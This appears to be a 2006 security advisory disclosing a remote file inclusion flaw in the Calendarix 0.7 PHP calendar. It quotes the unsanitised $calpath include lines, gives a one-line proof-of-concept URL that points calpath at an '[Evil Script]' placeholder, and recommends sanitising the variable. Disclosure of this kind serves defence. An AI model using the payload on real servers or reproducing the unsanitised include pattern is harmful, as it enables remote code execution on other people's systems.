------------------------------------------------------------------------
---------------

Calendarix 0.7 calpath Remote File Inclusion

------------------------------------------------------------------------
---------------

Author : Sh3ll

Date : 2006/08/11

HomePage : http://www.sh3ll.ir

Contact : sh3ll[at]sh3ll[dot]ir

------------------------------------------------------------------------
---------------

Affected Software Description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Calendarix

version : 0.7.20060401

Venedor : http://www.calendarix.com

Class : Remote File Inclusion

Risk : High

Summary :

Calendarix Is a Powerful and Easy to Use Calendar Based on PHP and MySQL.

------------------------------------------------------------------------
---------------

Vulnerability:

~~~~~~~~~~~~~

in cal_config.inc.php We Found Vulnerability Script

--------------------------------------cal_config.inc.php----------------
---------------

....

<?php

// Check file exist for admin call to this script

require $calpath."cal_db.inc.php";

...

$language = 'e';

# don't change next 3 lines !

require $calpath."cal_languages/".$language.".inc.php";

require $calpath."cal_languages/".$language.".months.php";

require $calpath."cal_languages/".$language.".week.php";

...

include $calpath."themes/".$theme.".color.php" ;

?>

...

------------------------------------------------------------------------
---------------

PoC:

~~~

http://www.target.com/[Calendarix]/cal_config.inc.php?calpath=[Evil Script]

Solution:

~~~~~~~~

Sanitize Variabel $calpath in cal_config.inc.php

------------------------------------------------------------------------
----------------

Note:

~~~~

Venedor Contacted, But No Response. So Do a Dirty Patch.

------------------------------------------------------------------------
----------------

Shoutz:

~~~~~~

~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena

~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams

[ reply ]